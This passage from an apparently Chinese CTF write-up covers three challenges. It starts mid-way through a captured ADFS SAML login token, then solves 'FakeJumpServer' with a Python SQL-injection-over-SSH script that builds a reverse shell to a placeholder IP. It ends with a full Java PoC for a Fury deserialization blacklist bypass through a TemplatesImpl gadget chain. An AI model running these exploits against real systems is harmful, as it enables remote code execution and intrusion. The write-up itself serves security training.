09%3A52.000Z%22%20NotOnOrAfter%3D%222025-02-06T11%3A09%3A52.000Z%22%3E%3Csaml%3AAudienceRestrictionCondition%3E%3Csaml%3AAudience%3Ehttps%3A//oa.offensive.local%3A8443/%3C/saml%3AAudience%3E%3C/saml%3AAudienceRestrictionCondition%3E%3C/saml%3AConditions%3E%3Csaml%3AAttributeStatement%3E%3Csaml%3ASubject%3E%3Csaml%3ANameIdentifier%20Format%3D%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A1.1%3Anameid-format%3Aunspecified%22%3EJndaBU4kdE2MsdOj93uRZQ%3D%3D%3C/saml%3ANameIdentifier%3E%3Csaml%3ASubjectConfirmation%3E%3Csaml%3AConfirmationMethod%3Eurn%3Aoasis%3Anames%3Atc%3ASAML%3A1.0%3Acm%3Abearer%3C/saml%3AConfirmationMethod%3E%3C/saml%3ASubjectConfirmation%3E%3C/saml%3ASubject%3E%3Csaml%3AAttribute%20AttributeName%3D%22upn%22%20AttributeNamespace%3D%22http%3A//schemas.xmlsoap.org/ws/2005/05/identity/claims%22%3E%3Csaml%3AAttributeValue%3EAdministrator%40offensive.local%3C/saml%3AAttributeValue%3E%3C/saml%3AAttribute%3E%3Csaml%3AAttribute%20AttributeName%3D%22primarysid%22%20AttributeNamespace%3D%22http%3A//schemas.microsoft.com/ws/2008/06/identity/claims%22%3E%3Csaml%3AAttributeValue%3ES-1-5-21-774119550-1432414505-3505898924-1155%3C/saml%3AAttributeValue%3E%3C/saml%3AAttribute%3E%3Csaml%3AAttribute%20AttributeName%3D%22groupsid%22%20AttributeNamespace%3D%22http%3A//schemas.microsoft.com/ws/2008/06/identity/claims%22%3E%3Csaml%3AAttributeValue%3ES-1-5-21-774119550-1432414505-3505898924-513%3C/saml%3AAttributeValue%3E%3C/saml%3AAttribute%3E%3C/saml%3AAttributeStatement%3E%3Csaml%3AAuthenticationStatement%20AuthenticationMethod%3D%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Aac%3Aclasses%3APasswordProtectedTransport%22%20AuthenticationInstant%3D%222025-02-06T10%3A09%3A52.000Z%22%3E%3Csaml%3ASubject%3E%3Csaml%3ANameIdentifier%20Format%3D%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A1.1%3Anameid-format%3Aunspecified%22%3EJndaBU4kdE2MsdOj93uRZQ%3D%3D%3C/saml%3ANameIdentifier%3E%3Csaml%3ASubjectConfirmation%3E%3Csaml%3AConfirmationMethod%3Eurn%3Aoasis%3Anames%3Atc%3ASAML%3A1.0%3Acm%3Abearer%3C/saml%3AConfirmationMethod%3E%3C/saml%3ASubjectConfirmation%3E%3C/saml%3ASubject%3E%3C/saml%3AAuthenticationStatement%3E%3Cds%3ASignature%20xmlns%3Ads%3D%22http%3A//www.w3.org/2000/09/xmldsig%23%22%3E%3Cds%3ASignedInfo%3E%3Cds%3ACanonicalizationMethod%20Algorithm%3D%22http%3A//www.w3.org/2001/10/xml-exc-c14n%23%22/%3E%3Cds%3ASignatureMethod%20Algorithm%3D%22http%3A//www.w3.org/2001/04/xmldsig-more%23rsa-sha256%22/%3E%3Cds%3AReference%20URI%3D%22%23_E89JCT%22%3E%3Cds%3ATransforms%3E%3Cds%3ATransform%20Algorithm%3D%22http%3A//www.w3.org/2000/09/xmldsig%23enveloped-signature%22/%3E%3Cds%3ATransform%20Algorithm%3D%22http%3A//www.w3.org/2001/10/xml-exc-c14n%23%22/%3E%3C/ds%3ATransforms%3E%3Cds%3ADigestMethod%20Algorithm%3D%22http%3A//www.w3.org/2001/04/xmlenc%23sha256%22/%3E%3Cds%3ADigestValue%3E%2BlPB8/AxmtxrEJ4QhXPaH/E8hkysQ0HzE8jtf3RqcAU%3D%3C/ds%3ADigestValue%3E%3C/ds%3AReference%3E%3C/ds%3ASignedInfo%3E%3Cds%3ASignatureValue%3EQYZo80E22nLIKpetve4SdeStlvWQhLwSgModRrnL3rM/cWEC9uWHqJC0GsjOF8TBGB0Ucr/dLy9YYne/8zXdIZDqDnw6DhlvAsurTDHYwfjnJH5NOVNpguj8hseqgh/GM35u%2BRG7rnTwpFk8/GNj18fhDzDEcB5wj%2B2NlDHSjmFTivr7tAf2IQxc%2B0BIOpBag6Q/88OtKlfUbc8UrkEY2ym29EKkq27dLwx9ZML4hBd8FdHPx%2BzqNcZakECbIH5QvjeofwL35tTfiblRwGMjmMV82BEBxKBIG9r8%2BN8p1X535Wm/hwLSc1QeyXu5OnULLDZuTExkvaZk/MILRIuoQysTsZMZG6iFB6w7VCaYGNn0fJ41AFIIG9IZ/nO8Ciy7ND4PieMG913Yqx5YFv3JH8gLS/XDbDYYJSc/vqr1qvCd6KeVaL%2B9fMpCzRsxk8Hl7kNBML60/qNw8MT30QVVvZt030ALlXLJHU0oqRJ7fHsIQTTsgQq4Nc8pjPcqWrRjrAvUfFNoEeeRRmoawWyWKWQkKaJ1/zqQN8OouRERO2XybOzLIfw7RxP6TesIwcO2pzENSRUPbY9UYcSv8hQ64m8722aL/2/tZi7FMNYZqQ7I5REG7nl7XZ6DwWcG0DhyoYj5EYmn3Ep4mD3RVPxP80K1qhSNVZ7hcADNx5NZ/yU%3D%3C/ds%3ASignatureValue%3E%3Cds%3AKeyInfo%3E%3Cds%3AX509Data%3E%3Cds%3AX509Certificate%3EMIIE4jCCAsqgAwIBAgIQGAiAx/I8VbNIkXdAHHQuxzANBgkqhkiG9w0BAQsFADAtMSswKQYDVQQDEyJBREZTIFNpZ25pbmcgLSBzdHMub2ZmZW5zaXZlLmxvY2FsMB4XDTI1MDIwNTEwMDY1OVoXDTI2MDIwNTEwMDY1OVowLTErMCkGA1UEAxMiQURGUyBTaWduaW5nIC0gc3RzLm9mZmVuc2l2ZS5sb2NhbDCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAM8cGVVUOAf9Bg0wn1jB99FqqbYVDzf/pWdfPh4Nq4XduRNZFmlNBgt7iQfBfvfunTJIjIV9c4y81GMPhKBYGLdaZbOe9zzP3vcCCuGKTgiEAkFEnJDmGirufrC1zDgnirZuBzW04hJkJJM5msQdhe6ZMabjNubCJpIv1tt%2Bz/tSgrIiWswazaFkbecKmLC4t8j6%2BXVNBD62SbukHd57SvWLXA9%2BGoAA3nE67TsrSETClWqXi1wAeULscN6FBsdNAg6j%2BiTjSOEtjSf6MzrSL68qR5ptDYp/zPnjMdrcivLJ%2BFad4c3OhR2c100M5MwjlIJkrQTroNyJCIsquG1EE7/kGYS48DvyBSreeTW/M0ARt7QHhrf3uVK0W1jlV/0uZ0MEeNscVFE05%2By6uhX88eHbKZoOHlreUmXbSuYvKWnGGYthG74MKkAZGzFS1Cf3fpAQGs3fmVJhVf%2B55PA5b2eT8ggg/5ivYZSZjs/bWgZkj9bzbDwF1EdNwa0J1e3zlLAMWz%2B2KkoP9yegUsn5HLOtTlh1xfC/dZK5J2GGAzZTfvwEr3XACXOaoV2v9qaZeX9i42gkyMvecZRxc0vBPSVl6rOdqf7zZF78arUpHWxUu7XpG8r2zk0vwoCXOMmOzHZPYZsenjjwDU58KzqBzmVt4vVlAP9ASFJYXMGvQ3UxAgMBAAEwDQYJKoZIhvcNAQELBQADggIBAD7bWNpTiYr3j2jYPU8aN2YyhAUW165m8r9o3ekfyp5z%2BkPQU3PG5DyokHHkMs4iZRIFOR0B8TEALd3YbLVPMLkZCBJFOg2hZosjnWSVw0ddl32WKdlgpmH/e7aE5G6Bjech/jUBWc2i4wp1LQL4i3ksOxKuJKUrEyCQ2h1tDoX6h/0vhBaoBWnzvCpIgiDBFHe8/VXxIaxkKfftvYU9zWsz68jtHjDAuJrxYyp4V2JmFYA9TE1pgj9kVFfFSC98z8BVHgkvQzF98P8OreytVk9BmGbGMlopm8PoR75CRDsiqpCC1GkchPmDb5efx9toKBuL24jM8I%2BOigsvxDon8MbjHuOOkKZUlmo8CIyamXl9A1joMZZ4VxmRV7nOCjotvJF0KWa0gtknhkU0dIhK8BAq17urBX0s2Ijs2AoPyg27PcI%2BnkG%2BtZ9uMHUX8njvL2/gGdzkcyHHP2muBsFQzCLEmeOoaHYugE6ciGY6OjX6ba8bq/Q2ZZzRUB3mMnSumUKGMfrEBFr0EhFj31efCE2lngNSvHHP1XLSigWV0qDM5a4RARPpWq0ApNLwRQ73xr9nWOV2XHQDQtfK4HDJcpBtkj5IubBP6q9WXe2o7RQOLhAAssPiv6vbgdWSGMRfeF7Su6YperB7rQYp4xfA8YoU0Vp%2BJnd1dgm8swxqZRZk%3C/ds%3AX509Certificate%3E%3C/ds%3AX509Data%3E%3C/ds%3AKeyInfo%3E%3C/ds%3ASignature%3E%3C/saml%3AAssertion%3E%3C/t%3ARequestedSecurityToken%3E%3Ct%3ATokenType%3Eurn%3Aoasis%3Anames%3Atc%3ASAML%3A1.0%3Aassertion%3C/t%3ATokenType%3E%3Ct%3ARequestType%3Ehttp%3A//schemas.xmlsoap.org/ws/2005/02/trust/Issue%3C/t%3ARequestType%3E%3Ct%3AKeyType%3Ehttp%3A//schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey%3C/t%3AKeyType%3E%3C/t%3ARequestSecurityTokenResponse%3E&wctx=WsFedOwinState%3DhZlKyeI3SiKiu80v8RJhPMZLX478XroLMrffQrK4OltS5uMh9-5hRaPt8_WBJNBSdvnL3Dj9VyihWODKjy4w-kW1s9BWz5K5MT0n8KEyU0JjRO-vBpr2MjgtvqOcVEg_axJvlX5g0CjXF8J8Ibn_fA

img

登录成功后,可以使用 “Show response in browser” 功能在浏览器中查看此请求的响应。一旦完成,我们将成功进入到 OA 系统:

img

在“公司机密”处点击“查看更多”,即可得到flag:

img

0x05 FakeJumpServer

展示实战经验不足的一题(ssh sql注入?)

这题主要是考察选手对堡垒机这类realworld场景的漏洞挖掘,思路对上了,做起来就非常简单。

题目入口是一个nginx,但是这里面啥都没有。根据题目名字Jump Server,可以联想到题目可能跟堡垒机相关,可以扫描22端口以及3389端口,因为大多数堡垒都是可以通过ssh/rdp端口来访问和管理服务器,很多厂商ssh/rdp都是自己写代码实现的,所以难免会出现漏洞。

扫描题目的端口,发现开放了22端口。

连接题目的22端口,看到ssh banner,猜测这个ssh server大概率是自己实现的。

# nc 127.0.0.1 22 -v
Connection to 127.0.0.1 22 port [tcp/ssh] succeeded!
SSH-2.0-FakeJumpServer

既然是要输入账号密码,第一反应肯定是要测试sql注入,可以先通过sleep测试数据库类型,这里就不举例了,题目使用的是pgsql

这里密码长度限制是64,并没有严格的长度限制和字符过滤让选手去绕,直接堆叠注入命令执行即可

exp:

# encoding:utf-8
import paramiko
# import logging
#
# logging.basicConfig()
# logging.getLogger("paramiko").setLevel(logging.DEBUG)

def ssh_login(hostname, port, username, password):
    try:
        ssh_client = paramiko.SSHClient()
        ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh_client.connect(hostname, port, username, password, allow_agent=False, look_for_keys=False)
        print("done")
        ssh_client.close()
    except Exception as e:
        print(e)


def exec_command(hostname, port, cmd):
    password = "';COPY s FROM PROGRAM '{}';--".format(cmd)
    print(password)
    if len(password) > 64:
        print("长度超长: {}".format(len(password)))
    ssh_login(hostname, port, "root", password)


if __name__ == "__main__":
    hostname = "127.0.0.1"
    port = 22

    username = "root"
    password = "-1';CREATE TABLE s(a text);--"
    ssh_login(hostname, port, username, password)

    cmd="echo -n \"/bin/sh -i >\" > /tmp/1.sh"
    exec_command(hostname, port, cmd)
    cmd="echo -n \"& /dev/tcp/\" >> /tmp/1.sh"
    exec_command(hostname, port, cmd)

    cmd="echo -n \"x.x.x.\" >> /tmp/1.sh"
    exec_command(hostname, port, cmd)

    cmd="echo -n \"x/4444 0>&1\" >> /tmp/1.sh"
    exec_command(hostname, port, cmd)

    cmd="chmod +x /tmp/1.sh"
    exec_command(hostname, port, cmd)

    cmd="bash -c /tmp/1.sh"
    exec_command(hostname, port, cmd)

0x06 Jtools

发现题目只有一个路由存在fury反序列化

img对比官方的fury黑名单是多了一些内容的

img通过审计发现com.feilong.core.util.comparator.PropertyComparatorcompare方法可以触发getter调用,然后利用动态代理触发MapProxyinvoke,到达BeanConverter的jdk二次反序列化点绕过黑名单

imgimg这里的jdk反序列化直接利用

PriorityQueue.readObject()
PropertyComparator.compare()
TemplatesImpl.getOutputProperties()
...加载自定义字节码

poc

package com.exp;

import cn.hutool.core.map.MapProxy;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.feilong.core.util.comparator.PropertyComparator;
import com.feilong.lib.digester3.ObjectCreationFactory;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;

import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;


public class Main {

    static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field declaredField = obj.getClass().getDeclaredField(fieldName);
        declaredField.setAccessible(true);
        declaredField.set(obj, value);
    }


    public static void main(String[] args) throws Exception {
        ///templates

        InputStream inputStream = Main.class.getResourceAsStream("Evil.class");
        byte[]   bytes       = new byte[inputStream.available()];
        inputStream.read(bytes);

        TemplatesImpl tmpl      = new TemplatesImpl();
        Field    bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(tmpl, new byte[][]{bytes});
        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(tmpl, "hello");


        TemplatesImpl tmpl1      = new TemplatesImpl();
        Field    bytecodes1 = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes1.setAccessible(true);
        bytecodes1.set(tmpl1, new byte[][]{bytes});
        Field name1 = TemplatesImpl.class.getDeclaredField("_name");
        name1.setAccessible(true);
        name1.set(tmpl1, "hello2");
        ///templates
        String prop = "digester";
        PropertyComparator propertyComparator = new PropertyComparator(prop);
        Fury fury = Fury.builder().withLanguage(Language.JAVA)
                .requireClassRegistration(false)
                .build();
        ////jdk

        Object templatesImpl1 = tmpl1;
        Object templatesImpl = tmpl;

        PropertyComparator propertyComparator1 = new PropertyComparator("outputProperties");

        PriorityQueue priorityQueue1 = new PriorityQueue(2, propertyComparator1);
        ReflectUtil.setFieldValue(priorityQueue1, "size", "2");
        Object[] objectsjdk = {templatesImpl1, templatesImpl};
        setFieldValue(priorityQueue1, "queue", objectsjdk);
        /////jdk

        byte[] data = SerializeUtil.serialize(priorityQueue1);

        Map hashmap = new HashMap();
        hashmap.put(prop, data);

        MapProxy mapProxy = new MapProxy(hashmap);
        ObjectCreationFactory  test = (ObjectCreationFactory) Proxy.newProxyInstance(ObjectCreationFactory.class.getClassLoader(), new Class[]{ObjectCreationFactory.class}, mapProxy);
        ObjectCreationFactory  test1 = (ObjectCreationFactory) Proxy.newProxyInstance(ObjectCreationFactory.class.getClassLoader(), new Class[]{ObjectCreationFactory.class}, mapProxy);


        PriorityQueue priorityQueue = new PriorityQueue(2, propertyComparator);
        ReflectUtil.setFieldValue(priorityQueue, "size", "2");
        Object[] objects = {test, test1};
        setFieldValue(priorityQueue, "queue", objects);

        byte[] serialize = fury.serialize(priorityQueue);
        System.out.println(Base64.getEncoder().encodeToString(serialize));

    }
}

题目不出网,将flag写入/tmp/desc.txt回显